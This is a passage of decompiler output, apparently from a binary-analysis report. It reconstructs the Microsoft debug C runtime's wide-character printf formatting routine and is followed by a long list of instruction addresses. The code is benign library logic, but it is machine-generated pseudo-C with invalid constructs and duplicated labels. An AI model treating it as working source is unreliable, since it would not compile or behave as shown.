																		 *(__ebp - 0x484) = E00B93D50(__ebp + 0x14);
																		__eax = E00B97280();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L116:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__ecx =  *(__ebp - 0x484);
																				__edx =  *(__ebp - 0x44c);
																				 *__ecx =  *(__ebp - 0x44c);
																			} else {
																				__edx =  *(__ebp - 0x484);
																				__ax =  *(__ebp - 0x44c);
																				 *( *(__ebp - 0x484)) = __ax;
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		}
																		L107:
																		__ecx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x4f4) = 0;
																		} else {
																			 *(__ebp - 0x4f4) = 1;
																		}
																		__edx =  *(__ebp - 0x4f4);
																		 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L00B7D760();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) != 0) {
																			L115:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		} else {
																			L114:
																			 *((intOrPtr*)(L00B80C60(__ecx))) = 0x16;
																			__eax = E00B809F0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x4cc) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E00B7C650(__ecx);
																			__eax =  *(__ebp - 0x4cc);
																			goto L225;
																		}
																	case 9:
																		L148:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00B93D50(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00B93D50(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00B93D50(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00B93D50(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00B93D70(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00B93D70(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																			goto L163;
																		}
																	case 0xa:
																		L143:
																		 *(__ebp - 0x30) = 8;
																		goto L144;
																	case 0xb:
																		L84:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x4f0) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x4f0);
																		 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E00B93D50(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			L98:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__ecx =  *0xd121a4; // 0xb77590
																				 *(__ebp - 4) = __ecx;
																			}
																			 *(__ebp - 0xc) = 1;
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x480) =  *(__ebp - 4);
																			while(1) {
																				L101:
																				__eax =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c) - 1;
																				 *(__ebp - 0x47c) = __ecx;
																				__eflags =  *(__ebp - 0x47c);
																				if( *(__ebp - 0x47c) == 0) {
																					break;
																				}
																				L102:
																				__edx =  *(__ebp - 0x480);
																				__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L103:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																			}
																			L104:
																			__edx =  *(__ebp - 0x480);
																			__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																			__eflags = __edx;
																			 *(__ebp - 0x24) = __edx;
																			goto L105;
																		} else {
																			L88:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0xd121a0; // 0xb775a0
																				 *(__ebp - 4) = __eax;
																			}
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x478) = __ecx;
																			 *(__ebp - 0x24) = 0;
																			while(1) {
																				L92:
																				__eax =  *(__ebp - 0x24);
																				__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																				if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																					break;
																				}
																				L93:
																				__ecx =  *(__ebp - 0x478);
																				__edx =  *__ecx;
																				__eflags =  *__ecx;
																				if( *__ecx == 0) {
																					break;
																				}
																				L94:
																				__ecx = __ebp - 0x40;
																				E00B7C680(__ebp - 0x40) =  *(__ebp - 0x478);
																				__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																				__eax = E00B91090( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																				__eflags = __eax;
																				if(__eax != 0) {
																					__edx =  *(__ebp - 0x478);
																					__edx =  *(__ebp - 0x478) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x478) = __edx;
																				}
																				 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																				 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																				__edx =  *(__ebp - 0x24);
																				__edx =  *(__ebp - 0x24) + 1;
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																			}
																			L97:
																			L105:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		}
																	case 0xc:
																		L142:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00B93D50(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00B93D50(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00B93D50(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00B93D50(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00B93D70(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00B93D70(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																			goto L163;
																		}
																	case 0xd:
																		goto L0;
																	case 0xe:
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																}
															case 8:
																L24:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000002;
																 *(__ebp - 0x10) = __ecx;
																goto L27;
															case 9:
																L25:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																goto L27;
															case 0xa:
																L23:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																goto L27;
															case 0xb:
																L22:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																goto L27;
															case 0xc:
																L26:
																__eax =  *(__ebp - 0x10);
																__eax =  *(__ebp - 0x10) | 0x00000008;
																__eflags = __eax;
																 *(__ebp - 0x10) = __eax;
																goto L27;
															case 0xd:
																L27:
																goto L214;
														}
													} else {
														_t517 = 0;
														if(0 == 0) {
															 *(_t525 - 0x4dc) = 0;
														} else {
															 *(_t525 - 0x4dc) = 1;
														}
														 *(_t525 - 0x46c) =  *(_t525 - 0x4dc);
														if( *(_t525 - 0x46c) == 0) {
															_push( &M00B77C38);
															_push(0);
															_push(0x460);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t498 = L00B7D760();
															_t527 = _t527 + 0x14;
															if(_t498 == 1) {
																asm("int3");
															}
														}
														L14:
														if( *(_t525 - 0x46c) != 0) {
															goto L16;
														} else {
															 *((intOrPtr*)(L00B80C60(_t510))) = 0x16;
															E00B809F0(_t501, _t510, _t523, _t524,  &M00B77C38, L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
															 *(_t525 - 0x4c8) = 0xffffffff;
															E00B7C650(_t525 - 0x40);
															_t483 =  *(_t525 - 0x4c8);
															L225:
															return E00B805D0(_t483, _t501,  *(_t525 - 0x48) ^ _t525, _t517, _t523, _t524);
														}
													}
												}
												L215:
												__eflags =  *(_t525 - 0x45c);
												if( *(_t525 - 0x45c) == 0) {
													L218:
													 *(_t525 - 0x4f8) = 1;
													L219:
													_t517 =  *(_t525 - 0x4f8);
													 *(_t525 - 0x4bc) =  *(_t525 - 0x4f8);
													__eflags =  *(_t525 - 0x4bc);
													if( *(_t525 - 0x4bc) == 0) {
														_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
														_push(0);
														_push(0x8f5);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t488 = L00B7D760();
														_t527 = _t527 + 0x14;
														__eflags = _t488 - 1;
														if(_t488 == 1) {
															asm("int3");
														}
													}
													__eflags =  *(_t525 - 0x4bc);
													if( *(_t525 - 0x4bc) != 0) {
														 *(_t525 - 0x4d4) =  *(_t525 - 0x44c);
														E00B7C650(_t525 - 0x40);
														_t483 =  *(_t525 - 0x4d4);
													} else {
														 *((intOrPtr*)(L00B80C60(_t502))) = 0x16;
														E00B809F0(_t501, _t502, _t523, _t524, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
														 *(_t525 - 0x4d0) = 0xffffffff;
														E00B7C650(_t525 - 0x40);
														_t483 =  *(_t525 - 0x4d0);
													}
													goto L225;
												}
												L216:
												__eflags =  *(_t525 - 0x45c) - 7;
												if( *(_t525 - 0x45c) == 7) {
													goto L218;
												}
												L217:
												 *(_t525 - 0x4f8) = 0;
												goto L219;
											}
										}
										L184:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L186:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L187;
										}
										L185:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L187;
										}
										goto L186;
									}
									L180:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x4a4);
									__edx =  *(__ebp - 0x4a8);
									__eax = E00B855B0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
									 *(__ebp - 0x494) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x4a4);
									__ecx =  *(__ebp - 0x4a8);
									 *(__ebp - 0x4a8) = E00B85630( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
									 *(__ebp - 0x4a4) = __edx;
									__eflags =  *(__ebp - 0x494) - 0x39;
									if( *(__ebp - 0x494) > 0x39) {
										__edx =  *(__ebp - 0x494);
										__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
										__eflags = __edx;
										 *(__ebp - 0x494) = __edx;
									}
									__eax =  *(__ebp - 4);
									 *( *(__ebp - 4)) =  *(__ebp - 0x494);
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L178:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L180;
									}
									goto L179;
								}
							}
							L165:
							__eflags =  *(__ebp - 0x4a0);
							if( *(__ebp - 0x4a0) >= 0) {
								goto L167;
							}
							goto L166;
							L167:
							__ecx =  *(__ebp - 0x4a0);
							 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
							__edx =  *(__ebp - 0x49c);
							 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
							goto L168;
						}
					}
				}
			}

0x00b96a89
0x00b96a89
0x00b96a89
0x00b96a89
0x00b96a93
0x00b96a93
0x00b96a93
0x00b96a9d
0x00b96a9d
0x00b96aa3
0x00b96aa5
0x00b96aaa
0x00b96ab4
0x00b96ab4
0x00b96ab7
0x00b96abb
0x00b96abb
0x00b96ae2
0x00b96ae2
0x00b96ae5
0x00b96ae5
0x00b96aea
0x00b96b0c
0x00b96b0c
0x00b96b12
0x00b96b34
0x00b96b34
0x00b96b37
0x00b96b7e
0x00b96b7e
0x00b96b81
0x00b96b9e
0x00b96ba2
0x00b96baa
0x00b96baa
0x00b96bac
0x00b96bb2
0x00b96b83
0x00b96b83
0x00b96b87
0x00b96b8f
0x00b96b90
0x00b96b96
0x00b96b96
0x00b96b39
0x00b96b3c
0x00b96b3c
0x00b96b3f
0x00b96b5d
0x00b96b69
0x00b96b6c
0x00b96b6d
0x00b96b73
0x00b96b41
0x00b96b41
0x00b96b45
0x00b96b4d
0x00b96b4e
0x00b96b4f
0x00b96b55
0x00b96b55
0x00b96b79
0x00b96b14
0x00b96b14
0x00b96b20
0x00b96b26
0x00b96b26
0x00b96aec
0x00b96aec
0x00b96af8
0x00b96afe
0x00b96afe
0x00b96bbb
0x00b96bbb
0x00b96bbe
0x00000000
0x00000000
0x00b96bc0
0x00b96bc0
0x00b96bc7
0x00000000
0x00000000
0x00b96bc9
0x00b96bc9
0x00b96bd4
0x00b96bda
0x00b96bdc
0x00b96be2
0x00b96be5
0x00b96be7
0x00b96bed
0x00b96bf6
0x00b96bfb
0x00b96c18
0x00b96c1b
0x00b96c1b
0x00b96c20
0x00b96c25
0x00b96c25
0x00b96c2b
0x00b96c2d
0x00b96c33
0x00b96c39
0x00b96c39
0x00b96c42
0x00b96c42
0x00b96c2b
0x00b96c48
0x00b96c4c
0x00b96c5a
0x00b96c5d
0x00b96c60
0x00b96c67
0x00b96c69
0x00b96c69
0x00b96c4e
0x00b96c4e
0x00b96c4e
0x00b96c76
0x00b96c76
0x00b96c7c
0x00b96c7e
0x00b96c7e
0x00b96c85
0x00b96c8b
0x00b96c8e
0x00b96c8e
0x00b96c8e
0x00b96c94
0x00b96c97
0x00b96c9a
0x00b96c9c
0x00000000
0x00000000
0x00b96c9e
0x00b96ca4
0x00b96ca4
0x00b96caa
0x00b96d27
0x00b96d2d
0x00b96d30
0x00b96d33
0x00b96d36
0x00b96d39
0x00b96d3f
0x00b96d3f
0x00b96d45
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d74
0x00000000
0x00000000
0x00b96d7a
0x00b96d7d
0x00b96d7d
0x00b96d80
0x00b96d85
0x00b96d85
0x00b96d8a
0x00b96da1
0x00b96da1
0x00b96da4
0x00b96dbb
0x00b96dbb
0x00b96dbe
0x00b96dc0
0x00b96dc5
0x00b96dc9
0x00b96dc9
0x00b96da6
0x00b96da6
0x00b96dab
0x00b96daf
0x00b96daf
0x00b96d8c
0x00b96d8c
0x00b96d91
0x00b96d95
0x00b96d95
0x00b96d8a
0x00b96dd3
0x00b96dd6
0x00b96dd9
0x00b96de2
0x00b96de2
0x00b96de5
0x00b96de7
0x00b96dee
0x00b96df2
0x00b96dfb
0x00b96e00
0x00b96e03
0x00b96e0a
0x00b96e0e
0x00b96e12
0x00b96e1e
0x00b96e21
0x00b96e21
0x00b96e24
0x00b96e29
0x00b96e29
0x00b96e2c
0x00b96e2e
0x00b96e35
0x00b96e39
0x00b96e42
0x00b96e47
0x00b96e2c
0x00b96e4a
0x00b96e4e
0x00b96f08
0x00b96f08
0x00b96f0f
0x00b96f13
0x00b96f17
0x00b96f1b
0x00000000
0x00b96e54
0x00b96e54
0x00b96e54
0x00b96e58
0x00000000
0x00000000
0x00b96e5e
0x00b96e5e
0x00b96e61
0x00b96e67
0x00b96e6a
0x00b96e70
0x00b96e70
0x00b96e70
0x00b96e7c
0x00b96e7f
0x00b96e85
0x00b96e87
0x00000000
0x00000000
0x00b96e89
0x00b96e89
0x00b96e8c
0x00b96e92
0x00b96e9a
0x00b96e9c
0x00b96ea3
0x00b96eaa
0x00b96eb9
0x00b96ebf
0x00b96ec6
0x00b96ed4
0x00b96ed4
0x00b96edb
0x00b96ee7
0x00b96ef5
0x00b96efb
0x00000000
0x00b96efb
0x00b96ec8
0x00b96ec8
0x00000000
0x00b96ec8
0x00b96f06
0x00b96f23
0x00b96f23
0x00b96f2a
0x00b96f2f
0x00b96f2f
0x00b96f32
0x00b96f34
0x00b96f3b
0x00b96f48
0x00b96f4d
0x00b96f32
0x00b96f2a
0x00b96f50
0x00b96f50
0x00b96f54
0x00b96f58
0x00b96f5c
0x00b96f64
0x00b96f64
0x00b96f6b
0x00b96f6b
0x00b960eb
0x00b960f2
0x00b960ff
0x00b96104
0x00000000
0x00b96117
0x00b96121
0x00b96148
0x00b9612f
0x00b96140
0x00b96140
0x00b96121
0x00b96152
0x00b96158
0x00b96164
0x00b96167
0x00b96175
0x00b96178
0x00b96185
0x00b9622a
0x00b96230
0x00b96236
0x00b9623d
0x00000000
0x00000000
0x00b96243
0x00b96249
0x00000000
0x00b96250
0x00b96250
0x00b9626a
0x00b9626f
0x00000000
0x00000000
0x00b96277
0x00b96277
0x00b9627e
0x00b96281
0x00b96284
0x00b96287
0x00b9628a
0x00b9628d
0x00b96290
0x00b96297
0x00b9629e
0x00000000
0x00000000
0x00b962aa
0x00b962aa
0x00b962b1
0x00b962bd
0x00b962c0
0x00b962c6
0x00b962cd
0x00000000
0x00000000
0x00b962cf
0x00b962d5
0x00b962d5
0x00b962dc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00b96320
0x00b96320
0x00b96327
0x00b9632a
0x00b96354
0x00b96357
0x00b96357
0x00b96361
0x00b96361
0x00b96365
0x00b9632c
0x00b9632c
0x00b96338
0x00b9633b
0x00b9633f
0x00b96341
0x00b96344
0x00b96344
0x00b96347
0x00b9634a
0x00b9634d
0x00b9634f
0x00b9634f
0x00b96352
0x00b96368
0x00000000
0x00000000
0x00b9636d
0x00b9636d
0x00000000
0x00000000
0x00b96379
0x00b96379
0x00b96380
0x00b96383
0x00b963a3
0x00b963a6
0x00b963a6
0x00b963b0
0x00b963b0
0x00b963b4
0x00b96385
0x00b96385
0x00b96391
0x00b96394
0x00b96398
0x00b9639a
0x00b9639a
0x00b963a1
0x00000000
0x00000000
0x00b963bc
0x00b963bc
0x00b963c3
0x00b963cf
0x00b963d2
0x00b963d8
0x00b963df
0x00b964f2
0x00000000
0x00b964f2
0x00b963e5
0x00b963eb
0x00b963eb
0x00b963f2
0x00000000
0x00b96429
0x00b96429
0x00b9642c
0x00b9642f
0x00b96432
0x00b96459
0x00b96459
0x00b9645c
0x00b9645f
0x00b96462
0x00b96486
0x00b96486
0x00b96489
0x00b9648c
0x00b9648f
0x00b964c8
0x00b964d9
0x00000000
0x00b964d9
0x00b96491
0x00b96491
0x00b96494
0x00b96497
0x00b9649a
0x00000000
0x00000000
0x00b9649c
0x00b9649c
0x00b9649f
0x00b964a2
0x00b964a5
0x00000000
0x00000000
0x00b964a7
0x00b964a7
0x00b964aa
0x00b964ad
0x00b964b0
0x00000000
0x00000000
0x00b964b2
0x00b964b2
0x00b964b5
0x00b964b8
0x00b964bb
0x00000000
0x00000000
0x00b964bd
0x00b964bd
0x00b964c0
0x00b964c3
0x00b964c6
0x00b964ca
0x00000000
0x00b964ca
0x00000000
0x00b964c6
0x00b96464
0x00b96464
0x00b96467
0x00b9646b
0x00b9646e
0x00000000
0x00b96470
0x00b96473
0x00b96476
0x00b9647c
0x00b96481
0x00000000
0x00b96481
0x00b9646e
0x00b96434
0x00b96434
0x00b96437
0x00b9643b
0x00b9643e
0x00000000
0x00b96440
0x00b96443
0x00b96446
0x00b9644c
0x00b96451
0x00000000
0x00b96451
0x00000000
0x00b964db
0x00b964db
0x00b964de
0x00b964e1
0x00000000
0x00000000
0x00b963f9
0x00b963f9
0x00b963fc
0x00b963ff
0x00b96402
0x00b9641b
0x00b9641e
0x00b9641e
0x00b96421
0x00b96404
0x00b96404
0x00b96407
0x00b9640a
0x00b96410
0x00b96416
0x00b96416
0x00000000
0x00000000
0x00b964e6
0x00b964e6
0x00b964e9
0x00b964e9
0x00b964ef
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00b964f7
0x00b964f7
0x00b964fe
0x00b96504
0x00b9650a
0x00b9650d
0x00b96513
0x00b9651a
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d74
0x00000000
0x00000000
0x00000000
0x00b96d74
0x00b96d70
0x00b96520
0x00b96526
0x00b96526
0x00b9652d
0x00000000
0x00b968b1
0x00b968b1
0x00b968bf
0x00b968bf
0x00b968c2
0x00000000
0x00000000
0x00b96534
0x00b96537
0x00b96537
0x00b9653d
0x00b9653f
0x00b96542
0x00b96542
0x00b96545
0x00b96545
0x00000000
0x00000000
0x00b9667a
0x00b9667d
0x00b9667d
0x00b96682
0x00b96684
0x00b96687
0x00b96687
0x00b9668a
0x00b9668a
0x00000000
0x00000000
0x00b96a7d
0x00b96a7d
0x00b96a93
0x00b96a93
0x00b96a9d
0x00b96a9d
0x00b96aa3
0x00b96aa5
0x00b96aaa
0x00b96ab4
0x00b96ab4
0x00b96ab7
0x00b96abb
0x00b96abb
0x00000000
0x00000000
0x00b965e4
0x00b965e4
0x00b965f0
0x00b965f6
0x00b965fd
0x00b9660b
0x00b9660b
0x00b96611
0x00b96614
0x00b96620
0x00b96675
0x00000000
0x00b96675
0x00b965ff
0x00b965ff
0x00b96605
0x00b96609
0x00b96628
0x00b96628
0x00b9662e
0x00b96656
0x00b9665d
0x00b96663
0x00b96666
0x00b96669
0x00b9666f
0x00b96672
0x00b96630
0x00b96630
0x00b96636
0x00b96639
0x00b9663c
0x00b96642
0x00b96645
0x00b96648
0x00b9664a
0x00b9664d
0x00b9664d
0x00000000
0x00b9662e
0x00000000
0x00000000
0x00b968c9
0x00b968cc
0x00b968cf
0x00b968d2
0x00b968d8
0x00b968db
0x00b968e2
0x00b968e6
0x00b968f1
0x00b968f1
0x00b968f5
0x00b9690c
0x00b9690c
0x00b96913
0x00b96915
0x00b96915
0x00b9691c
0x00b9691c
0x00b96923
0x00b96931
0x00b96934
0x00b96943
0x00b96946
0x00b9694a
0x00b9695f
0x00b9694c
0x00b9694c
0x00b9694f
0x00b96955
0x00b9695a
0x00b9695a
0x00b9694a
0x00b96969
0x00b9696c
0x00b9696f
0x00b96972
0x00b96975
0x00b96978
0x00b9697e
0x00b96984
0x00b9698c
0x00b9698d
0x00b96990
0x00b96991
0x00b96994
0x00b96995
0x00b9699c
0x00b9699d
0x00b969a0
0x00b969a1
0x00b969a4
0x00b969a5
0x00b969ab
0x00b969ac
0x00b969bb
0x00b969bd
0x00b969c3
0x00b969c3
0x00b969c8
0x00b969ca
0x00b969ce
0x00b969d0
0x00b969d8
0x00b969d9
0x00b969dc
0x00b969dd
0x00b969ec
0x00b969ee
0x00b969ee
0x00b969ce
0x00b969f1
0x00b969f8
0x00b969fb
0x00b96a00
0x00b96a00
0x00b96a06
0x00b96a08
0x00b96a10
0x00b96a11
0x00b96a14
0x00b96a15
0x00b96a23
0x00b96a25
0x00b96a25
0x00b96a06
0x00b96a28
0x00b96a2b
0x00b96a2e
0x00b96a31
0x00b96a36
0x00b96a3b
0x00b96a3e
0x00b96a41
0x00b96a41
0x00b96a44
0x00b96a44
0x00b96a47
0x00b96a53
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d74
0x00000000
0x00000000
0x00000000
0x00b96d74
0x00000000
0x00b96d70
0x00b968f7
0x00b968f7
0x00b968fe
0x00b96901
0x00000000
0x00000000
0x00b96903
0x00b96903
0x00000000
0x00b96903
0x00b968e8
0x00b968e8
0x00000000
0x00000000
0x00b96548
0x00b96548
0x00b96553
